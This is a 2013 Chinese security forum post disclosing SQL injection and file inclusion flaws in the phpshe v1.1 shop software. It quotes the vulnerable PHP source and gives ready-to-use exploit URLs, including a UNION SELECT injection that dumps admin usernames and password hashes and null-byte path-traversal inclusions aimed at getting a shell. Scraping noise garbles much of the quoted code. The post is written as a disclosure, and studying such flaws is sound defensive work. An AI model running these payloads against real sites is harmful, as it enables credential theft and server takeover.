找回密码
 立即注册
查看: 2891|回复: 0
打印 上一主题 下一主题

phpshe v1.1多处SQL注入和文件包含漏洞Getshell

[复制链接]
跳转到指定楼层
楼主
发表于 2013-4-19 19:01:54 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
/*******************************************************/
! U, f" s& U# \3 j# S/ ?; o  b3 C/* Phpshe v1.1 Vulnerability
- U& c/ F! X+ w& V9 e& t* p0 i/* ========================5 {" D8 D* Q# r) W+ i; F! B
/* By: : Kn1f3
, W) _" ]" K8 @' }  m& p7 z/* E-Mail : 681796@qq.com4 g6 x9 {  p# |; Q. k
/*******************************************************/$ ]9 u4 ]' l, q" j/ {& Y8 V
0×00 整体大概参数传输
. ]! o5 e2 ~. A
( |  k7 Y3 }2 \/ F
  n0 E2 h& Z+ D

2 v4 G4 b. a: `6 B4 i+ K//common.php
" I. n# e: f8 V* I% Hif (get_magic_quotes_gpc()) {
0 o$ u% S5 Q' d0 h1 Q!empty($_GET) && extract(pe_trim(pe_stripslashes($_GET)), EXTR_PREFIX_ALL, '_g');* h0 ^1 g. |% C
!empty($_POST) && extract(pe_trim(pe_stripslashes($_POST)), EXTR_PREFIX_ALL, '_p');
/ U1 N5 ~  ]4 E" p/ {- l2 M}
2 p& F  z" H" X3 p8 S- v5 pelse {
5 Y2 y7 P  Z" i' }!empty($_GET) && extract(pe_trim($_GET),EXTR_PREFIX_ALL,'_g');
" q( W0 ~3 w7 @& m6 Y- J!empty($_POST) && extract(pe_trim($_POST),EXTR_PREFIX_ALL,'_p');
3 b! M; g; `$ {4 c}9 [8 |8 d  b5 `' s7 Y3 {% T/ [
session_start();# x4 o3 M  p5 d8 A8 I1 F$ Y
!empty($_SESSION) && extract(pe_trim($_SESSION),EXTR_PREFIX_ALL,'_s');' L  t2 e6 X0 @% L. X5 S9 `
!empty($_COOKIE) && extract(pe_trim(pe_stripslashes($_COOKIE)),EXTR_PREFIX_ALL,'_c');$ N3 ?+ X! g' t: c
# L. N& Y5 h& l$ Y: Y" c3 l
0×01 包含漏洞
& p! ]9 ]! \6 _& n/ \
7 B( s# C9 S( h6 {, a, P- K9 r
- c0 B- v& {1 V) [7 @+ V' f
//首页文件* R( W2 @( {6 Z4 J" H, E1 G3 J
<!--?php include('common.php'); $cache_category = cache::get('category'); $cache_category_arr = cache::get('category_arr'); $cache_class = cache::get('class'); $cache_ad = cache::get('ad'); $cache_link = cache::get('link'); $cache_page = cache::get('page'); $web_qq = $cache_setting['web_qq']['setting_value'] ? explode(',', $cache_setting['web_qq']['setting_value']) : array(); $cart_num = pe_login('user') ? $db--->pe_num('cart', array('user_id'=>$_s_user_id)) : (unserialize($_c_cart_list) ? count(unserialize($_c_cart_list)) : 0);/ H; t# G4 e) E! _5 e9 u
include("{$pe['path_root']}module/{$module}/{$mod}.php");  //$mod可控造成“鸡肋”包含漏洞9 N9 f5 h' M7 |7 l
pe_result();! J) i6 R$ \5 \9 E) ?" [; r6 Y. N6 N
?>, M2 b+ q; P6 Q! _; i8 x$ o+ A
//common 文件 第15行开始- L4 x: Y: Z* i
url路由配置
) Z, a$ P: Y; U' Y" y. y$module = $mod = $act = 'index';. U0 M: A+ d! J# B, g" f( u
$mod = $_POST['mod'] ? $_POST['mod'] : ($_GET['mod'] ? $_GET['mod'] : $mod);
: B) ^  g4 K4 ], E2 V$act = $_POST['act'] ? $_POST['act'] : ($_GET['act'] ? $_GET['act'] : $act);, d8 z1 r1 |6 b1 S5 G2 d
$id = $_POST['id'] ? $_POST['id'] : ($_GET['id'] ? $_GET['id'] : $id);
3 ~5 E2 ]: O( R4 v//exp:http://127.0.0.1/phpshe_v1.1/index.php?mod=../../robots.txt%00* t) A6 |+ \+ d+ F5 f( X- P, K. s


+ e0 ]8 k% }' o. U7 ?* A/ a # }" p! D% U$ D! ?. [
0×02 搜索注入- u8 ^( ]4 N; h5 _4 \, n
6 z# D+ c, O! l! u* Q$ K) L
<code id="code2">

//product.php文件9 W( S3 t- m2 [" A  @
case 'list':
- j6 e6 ^. F8 b" X6 y% M$category_id = intval($id);
1 Q- A% z+ Q$ e( y1 e  F# ~0 _$info = $db->pe_select('category', array('category_id'=>$category_id));
) x( D5 n* [5 j2 S//搜索( t/ p# f; O$ n# S
$sqlwhere = " and `product_state` = 1";
$ P. ^$ u, m/ b1 W8 d. m9 Z, n" \pe_lead('hook/category.hook.php');
! M; X# w0 ?5 y/ \7 iif ($category_id) {
$ Y+ n3 h8 o  O  Hwhere .= is_array($category_cidarr = category_cidarr($category_id)) ? " and `category_id` in('".implode("','", $category_cidarr)."')" : " and `category_id` = '{$category_id}'";
8 {5 K' b5 b: z) z! W& Q4 B}
- d  p$ C4 i+ O1 p' B4 z6 G$_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'"; //keyword变量未进行有效的sql语句过滤; z. C0 g# `6 s' Q" N, @0 K
if ($_g_orderby) {( L8 I; {' N+ K/ f! g+ h6 m6 W$ x
$orderby = explode('_', $_g_orderby);
% V1 }: J: ]1 t7 ~# v$sqlwhere .= " order by `product_{$orderby[0]}` {$orderby[1]}";, |9 o2 O9 ~1 H& L$ ]
}
! l1 n7 {5 L/ W2 P& Yelse {/ r1 j' W2 d% i! G
$sqlwhere .= " order by `product_id` desc";% I& q0 d7 ?7 j( C& u" _
}
. N" d+ D9 _- @$ p, Z- G& R! O$info_list = $db->pe_selectall('product', $sqlwhere, '*', array(16, $_g_page));
  ?. n* x5 {$ a! ~+ p! g//热卖排行# [5 |& X- t( i' O
$product_hotlist = product_hotlist();1 K/ J1 U; A1 F
//当前路径+ B& \+ _/ ?& i5 n/ q
$nowpath = category_path($category_id);1 A- }6 e! Z, k
$seo = pe_seo($info['category_name']);2 e, @- q5 J' D8 [$ z  @
include(pe_tpl('product_list.html'));
, {. X0 l  J0 y* Y# S7 ]) p2 y, u8 {//跟进selectall函数库
! b! l' Z% v. B8 u7 t8 @public function pe_selectall($table, $where = '', $field = '*', $limit_page = array())7 u! p% V* R- _# Q! c
{' n5 [' Z! X$ c$ V4 p9 T
//处理条件语句
4 I. A6 d- E2 ^$sqlwhere = $this->_dowhere($where);& K0 |, R/ W: P
return $this->sql_selectall("select {$field} from `".dbpre."{$table}` {$sqlwhere}", $limit_page);
/ t1 d8 _, Z! G" ?}
- C1 b1 m" e+ s* C: S//exp9 R& C4 {1 v* t& V% r
product/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(admin_name,0x27,admin_pw,0x27)+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19 and+'1'='1
! h. u' ~+ r+ Z/ _

</code>
& G* a, l" P4 v+ B/ v
7 R2 o/ t# K& L, g0 R7 s/ W  Y0×03 包含漏洞2+ u* N- c: k+ J" @( P4 Y4 Y

5 F. j* t( o+ |# W( h<code id="code3">

//order.php

case 'pay':

- @1 X2 Z6 R6 h  j8 j
$order_id = pe_dbhold($_g_id);

- O# |9 l' V1 B
$cache_payway = cache::get('payway');

: ?" f# K( w( O# j. @1 t: k
foreach($cache_payway as $k => $v) {


, i2 Z: G( e: Q$cache_payway[$k]['payway_config'] = unserialize($cache_payway[$k]['payway_config']);


. c* b1 z6 M! s! Y. iif ($k == 'bank') {

/ c. t6 I- o! x( E  Q! z( }
$cache_payway[$k]['payway_config']['bank_text'] = str_replace(array("\r", "\n", "\t"), '\n', $cache_payway[$k]['payway_config']['bank_text']);


( B1 n) y1 F! V% P; R' s/ Q& l2 F9 J+ ^}

4 Y: p3 J/ j: m) [5 n
}


6 K! @! Y+ _  X% k& I$order = $db->pe_select('order', array('order_id'=>$order_id, 'order_state'=>'notpay'));

8 W! _( f1 \" r" i" c" X; k
!$order['order_id'] && pe_error('订单号错误...');


/ a( l1 P2 j% a3 {) }, Qif (isset($_p_pesubmit)) {

* x2 i- i5 t7 B& g3 m
if ($db->pe_update('order', array('order_id'=>$order_id), $_p_info)) {

/ [) \5 M, G! X8 |
$info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id));

4 ]( _+ g1 r0 X8 _% ^3 \
foreach ($info_list as $v) {

5 [9 ~* G2 V, p$ F. T) F% P, M; a0 x
$order['order_name'] .= "{$v['product_name']};";
9 m8 O% E5 q: p! J4 H% H


. `0 m; _, E! D. ^& x7 P' E( m4 r}


% L" P+ Z1 P; Uecho '正在为您连接支付网站,请稍后...';


" k: i0 f) e+ H  ]0 S- @include("{$pe['path_root']}include/plugin/payway/{$_p_info['order_payway']}/order_pay.php");


1 W" ?) m2 j: h}//当一切准备好的时候就可以进行"鸡肋包含了"


, q/ E1 b2 U5 Y6 c( f" Kelse {


% @8 _2 A( r! r5 X) cpe_error('支付错误...');


2 |5 d' v; B  }7 _1 h}


. s& A/ r) O1 o4 j. I( ^}


# O2 @% @4 w: L1 ?. X$seo = pe_seo('选择支付方式');


3 g7 P+ S$ o* T) L, S4 T1 Iinclude(pe_tpl('order_pay.html'));


8 y0 x  u' b4 q# R* l1 \8 Hbreak;

}

//exp:

//http://127.0.0.1/phpshe_v1.1/index.php?mod=order&act=pay&id=1304070001

//info%5Border_payway%5D=alipay/../../../1.txt%00&pesubmit=%E7%AB%8B%E5%8D%B3%E6%94%AF%E4%BB%98</code>
% ^: d4 ?3 E, Y0 O% m0 p$ t6 w

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表